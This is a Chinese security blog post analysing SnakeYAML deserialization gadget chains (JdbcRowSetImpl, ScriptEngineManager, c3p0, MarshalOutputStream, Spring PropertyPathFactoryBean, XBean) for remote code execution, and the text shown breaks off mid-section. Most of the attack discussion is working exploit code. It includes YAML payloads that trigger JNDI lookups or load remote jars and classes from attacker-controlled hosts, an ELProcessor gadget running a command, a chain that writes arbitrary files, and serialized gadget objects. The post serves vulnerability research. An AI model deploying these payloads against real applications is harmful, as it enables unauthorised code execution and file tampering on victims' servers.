从 SnakeYaml 看 ClassPathXmlApplicationContext 不出网利用
漏洞分析
当我自信的将`ClassPathXmlApplicationContext不出网`融入到`SnakeYaml`中进行利用第一时间居然没有成功复现, 当我排查问题时却又想到我真的懂`beans.xml`吗, 这一系列蝴蝶效应而衍生出的各种细节问题, 太多了, 因此在本篇文章中会讲一个特别长的故事进行刨析它们之间的原理并记载我所遇到的问题.
前言 -- 今年4月, P 神博客更新了一篇`ClassPathXmlApplicationContext的不出网利用`文章: <https://www.leavesongs.com/PENETRATION/springboot-xml-beans-exploit-without-network.html> 我对其进行了学习, 但当我自信的将`ClassPathXmlApplicationContext不出网`融入到`SnakeYaml`中进行利用第一时间居然没有成功复现, 当我排查问题时却又想到我真的懂`beans.xml`吗, 这一系列蝴蝶效应而衍生出的各种细节问题, 太多了, 因此在本篇文章中会讲一个特别长的故事进行刨析它们之间的原理并记载我所遇到的问题. > 例如: 常用于`getter & setter`的 Jndi JdbcRowSetImpl 链, 以及 SPI 机制的底层注册原理, 还有不出网的`c3p0`, 以及`c3p0`反序列化本身. 并且国外大佬挖掘出了在 openjdk >= 11 版本的 `MarshalOutputStream`写文件原生链, 以及写文件姿势与SPI链进行配合, 以及 ClassPathXmlApplicationContext 的出网与不出网的利用又引入了 SpEL 表达式 RCE 同时又引出了 SpEL 如何注入内存马, 在一些链路中使用到了`Hessian`的链路又引入了`平替BadAttributeValueExpException的方法`, 一个 SnakeYaml 引入了我们各方面的思考... 漏洞分析 ---- ### 环境搭建 pom.xml: ```xml <dependencies> <dependency> <groupId>org.yaml</groupId> <artifactId>snakeyaml</artifactId> <version>1.33</version> <!-- 2.4 版本被修复 --> </dependency> <dependency> <groupId>junit</groupId> <artifactId>junit</artifactId> <version>4.13.2</version> <scope>provided</scope> </dependency> </dependencies> ``` 定义一个`Bean`: ```java package com.heihu577.bean; public class Person { private String username; private int age; public Person() { try { throw new RuntimeException("Person NoArgs constructor..."); } catch (Exception e) { e.printStackTrace(); } } public Person(String username, int age) { try { throw new RuntimeException("Person AllArgs constructor..."); } catch (Exception e) { e.printStackTrace(); } this.username = username; this.age = age; } public String getUsername() { try { throw new RuntimeException("Person getUsername..."); } catch (Exception e) { e.printStackTrace(); } return username; } public void setUsername(String username) { try { throw new RuntimeException("Person setUsername..."); } catch (Exception e) { e.printStackTrace(); } this.username = username; } public int getAge() { try { throw new RuntimeException("Person getAge..."); } catch (Exception e) { e.printStackTrace(); } return age; } public void setAge(int age) { try { throw new RuntimeException("Person setAge..."); } catch (Exception e) { e.printStackTrace(); } this.age = age; } @Override public String toString() { return "Person{" + "username='" + username + '\'' + ", age=" + age + '}'; } } ``` 其中为了调试方便, 将所有的`setter && getter`方法主动抛出异常, 在`catch`中进行打印调用栈了, 方便对漏洞原理进行一个简单的理解. 定义如下测试用例: ```java package com.heihu577; import com.heihu577.bean.Person; import org.junit.Test; import org.yaml.snakeyaml.Yaml; public class SnakeYamlTest { @Test public void yamlDump() { Yaml yaml = new Yaml(); Person heihu577 = new Person("heihu577", 18); String dump = yaml.dump(heihu577); System.out.println(dump); } @Test public void yamlLoad() { Yaml yaml = new Yaml(); String yamlText = "!!com.heihu577.bean.Person {age: 18, username: heihu577}"; Person person = (Person) yaml.load(yamlText); System.out.println(person); } } ``` ### 调用栈分析及利用方法 #### 漏洞触发点说明 实际上`org.yaml.snakeyaml.Yaml::dump(Object)`会触发`对应Bean`的`getter`方法, 而由于我们的恶意`Bean`不会无缘无故放入在内存中并且将其主动`Dump`出来, 所以这个点比较冷门, 运行一下案例中的`yamlDump`方法可以得到调用栈, 并且进行`Debug`看到一个简单的原理:  这里的本质还是通过反射进行调用, 并且可以看到的是这边使用了`setAccessible`, 无论具体`getter`方法的访问权限有多大都可以进行调用. 不过我们应该更关注`org.yaml.snakeyaml.Yaml::load(String)`方法, 因为它接收一个字符串 (假设该字符串可控), 并且由于该`String`中可以像`FastJson`中进行指明`@type`方式去实例化自定义的类, 并且允许调用其`setter`方法以及`任意构造器`, 所以这个点是比较危险的, 可以调试案例中的`yamlLoad`方法看到其调用`setter`方法的调用栈:  ##### 官方文档说明 而针对于为什么`!!类名`可以进行实例化一些类, 在不阅读底层代码的情况下我们能够从官方文档中去了解: <https://bitbucket.org/snakeyaml/snakeyaml/wiki/Documentation>  ##### 与 FastJson 不同点 而针对利用姿势来讲, 这里将 P 牛的表格粘贴过来: | | Fastjson | SnakeYAML | |---|---|---| | setter | ✅ | ✅ | | getter | ✅ | ❌ | | constructor | ⭕(有条件) | ✅ | `FastJson`可以调用其`getter && setter`方法. 但`SnakeYaml`只允许调用`无参构造器 + setter`方法 & `有参构造器参数可控`这两种情况, 而有参构造器的调用可以如下所示: ```java @Test public void yamlLoad() { Yaml yaml = new Yaml(); String yamlText = "!!com.heihu577.bean.Person [!!java.lang.String Heihu577,!!int 12]"; Person person = (Person) yaml.load(yamlText); System.out.println(person); } ``` 我们的`Yaml`串主要以如下形式编写过来: ```php !!类名 [!!参数1类型 参数1值, !!参数2类型 参数2值] ``` 最终结果:  #### 原生 Jndi - JdbcRowSetImpl【利用两次 setter】需出网 `JdbcRowSetImpl`这条链在`FastJson低版本利用`中是一条`Jndi出网链`, 由于它存在无参的构造方法, 并且它的`setAutoCommit`方法 (setter) 是存在 JNDI 注入的, 调用栈如下:  而这边所`lookup`的`getDataSourceName`方法实际上也提供了`setter`方法:  所以第一次调用`setDataSourceName`, 第二次调用`setAutoCommit`即可进行JNDI注入: ```java @Test public void yamlLoad() { Yaml yaml = new Yaml(); String yamlText = "!!com.sun.rowset.JdbcRowSetImpl {dataSourceName: \"ldap://127.0.0.1:1389/Basic/Command/Y2FsYw==\", autoCommit: true}"; // ldap 中返回的 reference 是命令执行的代码. Person person = (Person) yaml.load(yamlText); System.out.println(person); } ``` 本机启动一个`LDAP`服务器: java -jar JNDIMap-0.0.1.jar, 运行即可弹窗:  #### 原生 URLClassLoader & SPI - ScriptEngineManager【利用带参构造器】需出网 对于 SPI 机制可以参考: <https://mp.weixin.qq.com/s/8q4XMhoWL9bqNNp83j6-HA> ScriptEngineManager 的介绍在: <https://mp.weixin.qq.com/s/JYbOJ25Qsv1JPrqV8dfdnA> 然后我们看一下漏洞所产生的原因, 问题出在`ScriptEngineManager`的构造器允许接收自定义`ClassLoader`并使用该`ClassLoader`进行加载实现`javax.script.ScriptEngineFactory`接口的服务:  然后我们看一下漏洞所产生的原因, 问题出在`ScriptEngineManager`的构造器允许接收自定义`ClassLoader`并使用该`ClassLoader`进行加载实现`javax.script.ScriptEngineFactory`接口的服务:  - `ScriptEngineManager的构造器`是可控的 (传入基于远程的 URLClassLoader). - `ScriptEngineManager的构造器`中存在危险操作 (也就是通过 SPI 机制实例化对象). 刚好满足`SnakeYaml`构造器利用的条件, 那么本地创建一个 IDEA 项目:  随后使用`python`在该`jar包目录下`进行监听`8000`端口后, 编写如下`POC`进行触发弹窗: ```java @Test public void yamlLoad() { Yaml yaml = new Yaml(); String yamlText = "!!javax.script.ScriptEngineManager [" + "!!java.net.URLClassLoader [" + // 由于 URLClassLoader 第一个参数是数组, 所以需要多加一层 [] "[!!java.net.URL [!!java.lang.String \"http://127.0.0.1:8000/SPITester01.jar\"]]" + // URL 接收的也是数组, 多加一层 [] "]" + "]"; Person person = (Person) yaml.load(yamlText); System.out.println(person); } ```  #### 三方依赖 c3p0【利用无参构造器 & 一次 setter & 二次反序列化自己本身】不出网需 Tomcat 依赖 我们知道`c3p0`的构造器中, 会增加对`userOverridesAsString`成员属性的监听器, 当监听到值被修改时走到`原生 readObject`进行加载链路, 而`c3p0`自己本身又存在反序列化链 (需要 Tomcat 依赖), 分别是出网的`JNDI`以及不出网的`ELProcessor`, 下面来分析一下这个利用链. ##### 环境说明 pom.xml: ```xml <dependency> <groupId>com.mchange</groupId> <artifactId>c3p0</artifactId> <version>0.9.5.4</version> </dependency> <dependency> <groupId>org.apache.tomcat</groupId> <artifactId>tomcat-servlet-api</artifactId> <version>8.5.0</version> </dependency> <dependency> <groupId>org.apache.tomcat</groupId> <artifactId>tomcat-jasper</artifactId> <version>8.5.0</version> </dependency> <dependency> <groupId>org.apache.tomcat.embed</groupId> <artifactId>tomcat-embed-core</artifactId> <version>8.5.0</version> </dependency> ``` 由于`ELProcessor`会使用到`Tomcat`环境, 所以需要引入这些`tomcat`依赖. ##### 利用链说明 ###### 可利用的构造器 WrapperConnectionPoolDataSource 对于构造参数可控, 可以分析`com.mchange.v2.c3p0.WrapperConnectionPoolDataSource`这个类的构造器:  在该类的构造器中增加了对`userOverridesAsString`成员属性监听的功能. ###### WrapperConnectionPoolDataSourceBase::setUserOverridesAsString `userOverridesAsString`属性在`WrapperConnectionPoolDataSourceBase类`中有使用, 而该类是`WrapperConnectionPoolDataSource`的父类, 并且提供了`setter`方法:  那么构造 POC 的思路则是, 先调用`WrapperConnectionPoolDataSource`的构造器, 再调用`setUserOverridesAsString`修改成员属性, 从而触发`readObject`反序列化操作 (其反序列化的二进制仍然是 c3p0 的利用链). ##### POC 编写 根据上述的一系列说明, 我们可以准备一个`main.java`, 文件内容如下: ```java package com.heihu577; import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase; import org.apache.naming.ResourceRef; import javax.naming.NamingException; import javax.naming.Reference; import javax.naming.Referenceable; import javax.naming.StringRefAddr; import javax.sql.ConnectionPoolDataSource; import javax.sql.PooledConnection; import java.io.*; import java.sql.SQLException; import java.sql.SQLFeatureNotSupportedException; import java.util.logging.Logger; public class main { public static byte[] getEvilObj() throws Exception { evilWriteObject evilWriteObject = new evilWriteObject(); // 准备好写入类, 完全遵循 writeObject 的写入逻辑 PoolBackedDataSourceBase poolBackedDataSourceBase = new PoolBackedDataSourceBase(false); // 找一个 public 类型的构造函数, 比较方便 poolBackedDataSourceBase.setConnectionPoolDataSource(evilWriteObject); // 将"写入类"塞入 ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeObject(poolBackedDataSourceBase); objectOutputStream.flush(); return byteArrayOutputStream.toByteArray(); } } class evilWriteObject implements ConnectionPoolDataSource, Referenceable { // 1. 对象的类型必须为 ConnectionPoolDataSource, 这一点在 PoolBackedDataSourceBase 成员属性中有强制绑定 // 2. 该类不能实现 Serializable 接口, 否则不会走 catch 逻辑 // 3. 该类必须实现 Referenceable 接口, 写入时会调用它的 getReference() 并创建 ReferenceIndirector 实例 @Override public Reference getReference() throws NamingException { // 准备好 Reference, 塞入 evilWriteObject::getReference 中 ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null); // javax.el.ELProcessor 类名 resourceRef.add(new StringRefAddr("forceString", "x=eval")); // eval 方法名 resourceRef.add(new StringRefAddr("x", "Runtime.getRuntime().exec('calc')")); // 参数值 return resourceRef; } @Override public PooledConnection getPooledConnection() throws SQLException { return null; } @Override public PooledConnection getPooledConnection(String user, String password) throws SQLException { return null; } @Override public PrintWriter getLogWriter() throws SQLException { return null; } @Override public void setLogWriter(PrintWriter out) throws SQLException { } @Override public void setLoginTimeout(int seconds) throws SQLException { } @Override public int getLoginTimeout() throws SQLException { return 0; } @Override public Logger getParentLogger() throws SQLFeatureNotSupportedException { return null; } } ``` 调用`main::getEvilObj`会得到基于`C3P0`本身的`byte流`, 随后利用无参构造器, 调用其`setter`进行RCE的写法如下: ```java @Test public void loadYml3() throws Exception { Yaml yaml = new Yaml(); String myYml = "!!com.mchange.v2.c3p0.WrapperConnectionPoolDataSource {" + "\nuserOverridesAsString: \"HexAsciiSerializedMap:"+ ByteUtils.toHexAscii(main.getEvilObj())+";\"\n}"; System.out.println(myYml); Object ymlObj = yaml.load(myYml); System.out.println(ymlObj); } ``` 运行即可通过反序列化不出网弹出计算器. #### 三方依赖 c3p0【一次 setter】需出网 ##### 链路分析 JndiRefForwardingDataSource 这条链子只需要调用一次 setter 即可, 在`com.mchange.v2.c3p0.JndiRefForwardingDataSource`这个类, 我们可以看一下该类的构造方法:  只需要关注`cachedInner`成员属性为null即可, 而该类存在一些`getter && setter`, 而我们当前是`SnakeYaml`环境, 所以只需要关注`setter方法`即可, 如图:  该这两个`setter`方法中, 我们定位到`inner`方法中, 看一下处理逻辑:  这里`inner方法`最终会走到`InitialContext::lookup`方法进行 JNDI 注入, 有趣的是`jndiName`提供了`setter`, 所以这里也是一个链路. ##### POC 编写 设置好成员属性的内容后, 调用一下 setter: ```java String myYml = "!!com.mchange.v2.c3p0.JndiRefForwardingDataSource\n" + "jndiName: \"ldap://127.0.0.1:1389/Basic/Command/Y2FsYw==\"\n" + "loginTimeout: 0"; Yaml yaml = new Yaml(); yaml.load(myYml); ``` 运行结果:  当然除了这个`setter`还有一个`setter`方法能利用, 直接给出 POC: ```java String myYml = "!!com.mchange.v2.c3p0.JndiRefForwardingDataSource\n" + "jndiName: \"ldap://127.0.0.1:1389/Basic/Command/Y2FsYw==\"\n" + "logWriter: 0"; Yaml yaml = new Yaml(); yaml.load(myYml); ``` #### 原生 MarshalOutputStream【带参构造】不出网 RCE 需 JDK > 11 ##### 环境准备 在`pom.xml`文件中定义如下内容: ```java <build> <plugins> <plugin> <groupId>org.apache.maven.plugins</groupId> <artifactId>maven-compiler-plugin</artifactId> <version>3.11.0</version> <configuration> <source>11</source> <target>11</target> <compilerArgs> <arg>--add-exports</arg> <arg>java.rmi/sun.rmi.server=ALL-UNNAMED</arg> </compilerArgs> </configuration> </plugin> </plugins> </build> ``` 并且在IDEA中配置`--add-exports java.rmi/sun.rmi.server=ALL-UNNAMED`, 否则无法访问`MarshalOutputStream`:  ##### Inflater (解压) & Deflater (压缩) 准备如下代码: ```java @Test public void deflater() throws IOException { Deflater deflater = new Deflater(); deflater.setInput("Hello".getBytes()); // 想要压缩的内容 deflater.finish(); // 准备缓冲区接收压缩后的数据 byte[] buffer = new byte[1024]; // 准备 buffer ByteArrayOutputStream result = new ByteArrayOutputStream(); // 最终结果存放 while (deflater.deflate(buffer) > 0) { // 每读取一次, 都会将内容放到 buffer 中 result.write(buffer); // 将内容写入 } System.out.println("压缩后的文件内容: " + new String(result.toByteArray())); } ``` 这是一个进行文件压缩的案例, 将`Hello`字符串使用`zlib`进行压缩, 类似于 PHP 中的`php://filter...zlib.deflate`. - - - - - - 我们再看一下下面的解压的方式: ```java public byte[] getDeflateBytes() throws IOException { Deflater deflater = new Deflater(); deflater.setInput("Hello".getBytes()); // 想要压缩的内容 deflater.finish(); // 准备缓冲区接收压缩后的数据 byte[] buffer = new byte[1024]; // 准备 buffer ByteArrayOutputStream result = new ByteArrayOutputStream(); // 最终结果存放 while (deflater.deflate(buffer) > 0) { // 每读取一次, 都会将内容放到 buffer 中 result.write(buffer); // 将内容写入 } return result.toByteArray(); } @Test public void inflater() throws Exception { byte[] deflateBytes = getDeflateBytes(); Inflater inflater = new Inflater(); inflater.setInput(deflateBytes); // 将压缩的文件内容放置在这里 byte[] buffer = new byte[1024]; ByteArrayOutputStream baos = new ByteArrayOutputStream(); while (inflater.inflate(buffer) > 0) { baos.write(buffer); // 慢慢解压, 将数据信息放置到 buffer } System.out.println(new String(baos.toByteArray())); } ``` 运行之后则还原出`Hello`字符串. ##### 可利用的 InflaterOutputStream::write 首先`InflaterOutputStream`构造方法可以进行接收`OutputStream && Inflater`, 该类最大的特点就是对其进行包装. `InflaterOutputStream::write`方法则是`Inflater.inflate`的包装, 且会将结果输出到`OutputStream`中, 我们可以查看以下该代码:  那么这会导致一个什么问题呢?准备如下代码: ```java public byte[] getDeflateBytes() throws IOException { Deflater deflater = new Deflater(); deflater.setInput("Hello".getBytes()); // 想要压缩的内容 deflater.finish(); // 准备缓冲区接收压缩后的数据 byte[] buffer = new byte[1024]; // 准备 buffer ByteArrayOutputStream result = new ByteArrayOutputStream(); // 最终结果存放 while (deflater.deflate(buffer) > 0) { // 每读取一次, 都会将内容放到 buffer 中 result.write(buffer); // 将内容写入 } return result.toByteArray(); } @Test public void deflaterTest() throws IOException { Inflater inflater = new Inflater(); inflater.setInput(getDeflateBytes()); InflaterOutputStream inflaterOutputStream = new InflaterOutputStream(System.out, inflater); inflaterOutputStream.write("233333333333333333333".getBytes()); } ``` 则会导致如下结果:  `write(任意二进制)`最终都会输出`Inflater`中之前`setInput`的值并进行ZLIB解压. ###### 不可利用的 DeflaterOutputStream 当然, 查看了一下`DeflaterOutputStream::write`方法是不存在该问题的:  ##### 巧合的 MarshalOutputStream 那么接下来我们只需要查找一个能够调用`OutputStream::write`方法的类, 即可将`OutputStream`替换为它的子类`InflaterOutputStream`, 即可进行写入数据了, 而`MarshalOutputStream`由于继承了`ObjectOutputStream`, 而`ObjectOutputStream`中的构造器由于要写入序列化文件头, 会提前进行写入一次数据, 即调用`OutputStream::write`方法, 以下是调用过程:  最终可编写如下POC: ```java public byte[] getDeflateBytes() throws IOException { Deflater deflater = new Deflater(); deflater.setInput("Hello".getBytes()); // 想要压缩的内容 deflater.finish(); // 准备缓冲区接收压缩后的数据 byte[] buffer = new byte[1024]; // 准备 buffer ByteArrayOutputStream result = new ByteArrayOutputStream(); // 最终结果存放 while (deflater.deflate(buffer) > 0) { // 每读取一次, 都会将内容放到 buffer 中 result.write(buffer); // 将内容写入 } return result.toByteArray(); } @Test public void marshalTest() throws IOException { Inflater inflater = new Inflater(); inflater.setInput(getDeflateBytes()); new MarshalOutputStream(new InflaterOutputStream(System.out, inflater)); // System.out 可切换成自己想要的输出流 } ``` 我们没有主动调用任何`write`, 单纯的依赖了`构造器 & setter`即可将想要的内容输出至前端. ##### POC 编写【文件写入 POC】 那么如果落地到 SnakeYaml 中, POC 应该怎样编写呢?这里的问题很简单, 我们只需要对构造器的写法进行构造并且调用一下`setInput`这个`setter`方法即可, 但是其实有一个问题, 就是`setInput`中我们的`input`应该如何放置二进制数据?因为这里我们需要放置压缩数据进行解压缩, 这边可以参考官方文档:  那么应该如何放置`binary`类型的数据呢?这里可以参考官网中给出的 DEMO:  显然这是一个`BASE64`编码, 编写如下 POC: ```java public String getDeflateBytes(byte[] data) throws IOException { Deflater deflater = new Deflater(); deflater.setInput(data); // 想要压缩的内容 deflater.finish(); // 准备缓冲区接收压缩后的数据 byte[] buffer = new byte[1024]; // 准备 buffer ByteArrayOutputStream result = new ByteArrayOutputStream(); // 最终结果存放 while (deflater.deflate(buffer) > 0) { // 每读取一次, 都会将内容放到 buffer 中 result.write(buffer); // 将内容写入 } return new String(new Base64().encode(result.toByteArray())); } @Test public void loadYml4() throws IOException { Yaml yaml = new Yaml(); String filename = "D:/1.txt"; String data = getDeflateBytes("HelloWorld~ Heihu577".getBytes()); String myYml = "!!sun.rmi.server.MarshalOutputStream [" + "!!java.util.zip.InflaterOutputStream [" + "!!java.io.FileOutputStream [!!java.lang.String \"" + filename + "\"]," + "!!java.util.zip.Inflater {input: !!binary " + data + "}" + // 调用 setInput 方法, 其他均为构造器 "]" + "]"; yaml.load(myYml); } ``` 运行成功后, 会创建`D:/1.txt`且文件内容为`HelloWorld~ Heihu577`. ##### 写入 Jar 利用 ScriptEngineManager 进行本地加载案例 由于我们之前`ScriptEngineManager`所存在的问题就是利用`URLClassLoader`进行加载`远程恶意jar`来完成RCE的, 而有了文件写入的方案我们完全可以通过写入`jar`到目标后, 再利用`URLClassLoader`的`file`协议加载本地`jar`实现RCE. 第一次文件写入, 第二次 ScriptEngineManager 加载即可: ```java public String getDeflateBytes(byte[] data) throws IOException { Deflater deflater = new Deflater(); deflater.setInput(data); // 想要压缩的内容 deflater.finish(); // 准备缓冲区接收压缩后的数据 byte[] buffer = new byte[1024]; // 准备 buffer ByteArrayOutputStream result = new ByteArrayOutputStream(); // 最终结果存放 while (deflater.deflate(buffer) > 0) { // 每读取一次, 都会将内容放到 buffer 中 result.write(buffer); // 将内容写入 } return new String(new Base64().encode(result.toByteArray())); } @Test public void loadYml4() throws IOException { Yaml yaml = new Yaml(); String filename = "D:/a.jar"; String data = getDeflateBytes(new FileInputStream("./SPITester01.jar").readAllBytes()); String writeFileYml = "!!sun.rmi.server.MarshalOutputStream [" + "!!java.util.zip.InflaterOutputStream [" + "!!java.io.FileOutputStream [!!java.lang.String \"" + filename + "\"]," + "!!java.util.zip.Inflater {input: !!binary " + data + "}" + // 调用 setInput 方法, 其他均为构造器 "]" + "]"; String loadJarYml = "!!javax.script.ScriptEngineManager [" + "!!java.net.URLClassLoader [" + // 由于 URLClassLoader 第一个参数是数组, 所以需要多加一层 [] "[!!java.net.URL [!!java.lang.String \"file:///" + filename + "\"]]" + // URL 接收的也是数组, 多加一层 [] "]" + "]"; yaml.load(writeFileYml); yaml.load(loadJarYml); } ``` 运行结果:  #### 三方依赖 PropertyPathFactoryBean【Spring】需出网 ##### 环境准备 需要使用 Spring 依赖: ```xml <dependency> <groupId>org.springframework</groupId> <artifactId>spring-context</artifactId> <version>5.3.30</version> </dependency> ``` ##### 链路分析 触发点在`PropertyPathFactoryBean::setBeanFactory`方法, 我们看一下该方法最终的走向流程:  调用任意`beanFactory`的`getBean`方法, 但实际上`Spring`中实现`beanFactory`的有很多:  这边有一个`SimpleJndiBeanFactory`类, 看一下它的`getBean`方法是否能够利用, 若能够利用我们则选择利用它:  这边经过很长的调用链最终会调用其`InitialContext::lookup`方法进行`JNDI注入`. ##### POC 编写 ```java String poc = "!!org.springframework.beans.factory.config.PropertyPathFactoryBean\n" + " targetBeanName: \"ldap://127.0.0.1:1389/Basic/Command/Y2FsYw==\"\n" + " propertyPath: 1\n" + " beanFactory: !!org.springframework.jndi.support.SimpleJndiBeanFactory\n" + " shareableResources: [\"ldap://127.0.0.1:1389/Basic/Command/Y2FsYw==\"]"; Yaml yaml = new Yaml(); yaml.load(poc); ``` 结果:  #### 三方依赖 Apache XBean【无参构造调 toString】NamingManager.getObjectInstance 的 JNDI 注入 ##### 环境准备 ```xml <dependency> <groupId>org.apache.xbean</groupId> <artifactId>xbean-naming</artifactId> <version>4.26</version> </dependency> ``` ##### 链路分析 这条链路的核心是`ContextUtil$ReadOnlyBinding`这个内部类, 首先我们看一下`BadAttributeValueExpException`是用来调用`toString`方法的:  而由于`SnakeYaml`构造器是完全可控的, 所以这里可以调用任意对象的`toString`方法, 可以选择调用`org.apache.xbean.naming.context.ContextUtil$ReadOnlyBinding`这个内部类的`toString`, 因为它的父类存在危险操作:  这边存在一个 JNDI 注入的操作, 我们知道的是`InitialContext::lookup`的底层则是`NamingManager.getObjectInstance`. > 注意图中的 NamingManager.getObjectInstance 调用中第三四个参数不能为 null, 否则会抛出 NullPointer(空指针异常) 错误. > > 这里可以查找一些实现了`Context`接口的类, 来避免这个问题. 而这边使用的`Reference`我们使用如下构造器: ```java public Reference(String className, String factory, String factoryLocation) { this(className); classFactory = factory; classFactoryLocation = factoryLocation; } ``` ##### POC 编写 根据上述原理, 我们可以编写出如下 POC: ```java String poc = "!!javax.management.BadAttributeValueExpException [" + // 利用构造器 "!!org.apache.xbean.naming.context.ContextUtil$ReadOnlyBinding [" + "\"heihu577\", " + // 参数1, 传递任意字符串 "!!javax.naming.Reference [\"heihu577\", \"EvilClass\", \"http://127.0.0.1:8000/\"], " + // 参数2, 传递 Reference "!!org.apache.xbean.naming.context.WritableContext []" + // 参数3, 传递任意一个实现了 Context 接口的类, 可以使用 WritableContext, 但不能传递 null, 否则会爆出空指针异常 "]" + "]"; Yaml yaml = new Yaml(); yaml.load(poc); ``` 并且本地准备一个`HTTP服务`, 开启8000端口并且存在`EvilClass.class`文件, 如图:  最终攻击结果如:  ###### JNDI 高版本注入限制 由于本质上还是 JNDI 注入, 所以会受到版本限制, 以下是`loadClass`时不同版本的`com.sun.naming.internal.VersionHelper12类`中代码定义的区别:  ##### 基于 XBean 的反序列化链【扩展】 在刚刚我们已经看到了, 最终会走向 JNDI 注入, 从`BadAttributeValueExpException`触发`toString`开始的, 那么其他链路是否实现了`Serializable`呢?答案是的, 它们都实现了`Serializable`接口, 进而存在反序列化漏洞, 可以编写如下 POC: ```java @Test public void t1() throws Exception { WritableContext tmpContext = new WritableContext(); Reference reference = new Reference("heihu577", "EvilClass", "http://127.0.0.1:8000/"); ContextUtil.ReadOnlyBinding evilObj = new ContextUtil.ReadOnlyBinding("heihu577", reference, tmpContext); BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null); setFieldValue(badAttributeValueExpException, "val", evilObj); // 防止提前进入链路 new ObjectOutputStream(new FileOutputStream("D:/ser.ser")).writeObject(badAttributeValueExpException); // 写入链子 new ObjectInputStream(new FileInputStream("D:/ser.ser")).readObject(); // 反序列化 } public void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Class<?> aClass = obj.getClass(); Field field = null; while (field == null) { try { field = aClass.getDeclaredField(fieldName); } catch (NoSuchFieldException e) { field = null; aClass = aClass.getSuperclass(); } } field.setAccessible(true); field.set(obj, value); } ``` 但最终发现无法反序列化成功:  原因则是该对象中的字段有些是未实现`Serializable`接口的, 我们从继承链找出这些未实现`Serializable`接口的成员属性:  就会导致构造 POC 里, 序列化属性字段时抛出未实现接口的异常, 而解决方法很容易, 将它们全部定义为 null, 最终 POC: ```java package com.heihu577; import org.apache.xbean.naming.context.ContextUtil; import org.apache.xbean.naming.context.WritableContext; import org.junit.Test; import javax.management.BadAttributeValueExpException; import javax.naming.NamingException; import javax.naming.Reference; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; public class serialTestser { @Test public void t1() throws Exception { WritableContext tmpContext = new WritableContext(); Reference reference = new Reference("heihu577", "EvilClass", "http://127.0.0.1:8000/"); ContextUtil.ReadOnlyBinding evilObj = new ContextUtil.ReadOnlyBinding("heihu577", reference, tmpContext); BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null); setFieldValue(badAttributeValueExpException, "val", evilObj); // 防止提前进入链路 setFieldValue(tmpContext, "contextAccess", null); setFieldValue(tmpContext, "inCall", null); setFieldValue(tmpContext, "contextFederation", null); new ObjectOutputStream(new FileOutputStream("D:/ser.ser")).writeObject(badAttributeValueExpException); // 写入链子 new ObjectInputStream(new FileInputStream("D:/ser.ser")).readObject(); } public void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Class<?> aClass = obj.getClass(); Field field = null; while (field == null) { try { field = aClass.getDeclaredField(fieldName); } catch (NoSuchFieldException e) { field = null; aClass = aClass.getSuperclass(); } } field.setAccessible(true); field.set(obj, value); } } ``` ##### 基于 XBean 的反序列化链【扩展】 (第二种调用 toString 的方法) 当然除了`BadAttributeValueExpException`能够触发`toString`方法外, `XString::equals(Object)`同样能够触发`toString`. 为什么非要引入第二个触发`toString`方法的类呢, 因为`BadAttributeValueExpException`这个类只能用在`JDK8-14`, 所以我们需要第二个能够触发`toString`的类, 如图:  那就需要再找一个能够触发`equals`方法的类了, 而之前学习CC链的时候我们知道, 在`HashMap, HashTable, HashSet`中, 假设存在如下场景: ```php HashMap hsMap = new HashMap(); hsMap.put(对象1,随意值) hsMap.put(对象2,随意值) ``` 如果`对象1.hashCode() == 对象2.hashCode()`, 那么则会调用其`对象1.equals(对象2)`. 而目前的场景我们想要调用`XString::equals(自定义参数)`方法, 自定义参数部分传入`ContextUtil.ReadOnlyBinding对象 (需要调用其 toString 方法的对象)`. 也就需要这样: ```php HashMap hsMap = new HashMap(); hsMap.put(XString对象,随意值) hsMap.put(要调用toString方法的对象,随意值) ``` 但是我们知道的是, 必须在这两个`hash值相同时`, 才会主动进行`对象1.equals(对象2)`, 那么这个问题应该怎么解决呢? ###### XString 计算 hash 分析 首先我们看一下`XString`是如何计算`hash值`的:  而它的`hashCode`计算公式为:  是根据`m_obj`成员属性进行计算`hash`值的, 所以我们只要在`XString`的构造方法中传入一个字符串, 并且它的`hash值`与`ContextUtil.ReadOnlyBinding对象`相同即可! ###### 根据 hash 值逆推相同 hash 字符串 参考: <https://paper.seebug.org/199/#hashcode> 可以发现这么一个工具类: ```java package com.heihu577; public class HashCollision { public static String convert(String str) { str = (str == null ? "" : str); String tmp; StringBuffer sb = new StringBuffer(1000); char c; int i, j; sb.setLength(0); for (i = 0; i < str.length(); i++) { c = str.charAt(i); sb.append("\\u"); j = (c >>> 8); // 取出高8位 tmp = Integer.toHexString(j); if (tmp.length() == 1) sb.append("0"); sb.append(tmp); j = (c & 0xFF); // 取出低8位 tmp = Integer.toHexString(j); if (tmp.length() == 1) sb.append("0"); sb.append(tmp); } return (new String(sb)); } public static String string2Unicode(String string) { StringBuffer unicode = new StringBuffer(); for (int i = 0; i < string.length(); i++) { // 取出每一个字符 char c = string.charAt(i); // 转换为unicode unicode.append("\\u" + Integer.toHexString(c)); } return unicode.toString(); } /** * Returns a string with a hash equal to the argument. * * @return string with a hash equal to the argument. * @author - Joseph Darcy */ public static String unhash(int target) { StringBuilder answer = new StringBuilder(); if (target < 0) { // String with hash of Integer.MIN_VALUE, 0x80000000 answer.append("\u0915\u0009\u001e\u000c\u0002"); if (target == Integer.MIN_VALUE) return answer.toString(); // Find target without sign bit set target = target & Integer.MAX_VALUE; } unhash0(answer, target); return answer.toString(); } /** * @author - Joseph Darcy */ private static void unhash0(StringBuilder partial, int target) { int div = target / 31; int rem = target % 31; if (div <= Character.MAX_VALUE) { if (div != 0) partial.append((char) div); partial.append((char) rem); } else { unhash0(partial, div); partial.append((char) rem); } } public static void main(String[] args) { // 注意: unhash 方法返回字符串 System.out.println(unhash(100).hashCode()); } } ``` 只要调用它的`unhash(传入具体hash)`, 即可返回一个字符串, 并且该字符串的 hash 值与计算结果一致, 根据这个思路我们即可编写 POC. ###### 失败的 POC 编写【hashCode 缓存 & 反序列化 hashCode 不一致问题与问题解决(使用 